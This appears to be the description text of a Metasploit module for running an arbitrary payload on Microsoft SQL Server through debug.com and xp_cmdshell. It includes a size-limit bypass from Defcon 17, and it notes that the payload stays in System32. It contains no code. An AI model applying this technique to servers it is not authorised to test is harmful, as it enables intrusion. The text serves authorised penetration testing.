|
|
This module will execute an arbitrary payload on a Microsoft SQL
|
|
Server, using the Windows debug.com method for writing an executable to disk
|
|
and the xp_cmdshell stored procedure. File size restrictions are avoided by
|
|
incorporating the debug bypass method presented at Defcon 17 by SecureState.
|
|
Note that this module will leave a metasploit payload in the Windows
|
|
System32 directory which must be manually deleted once the attack is completed.
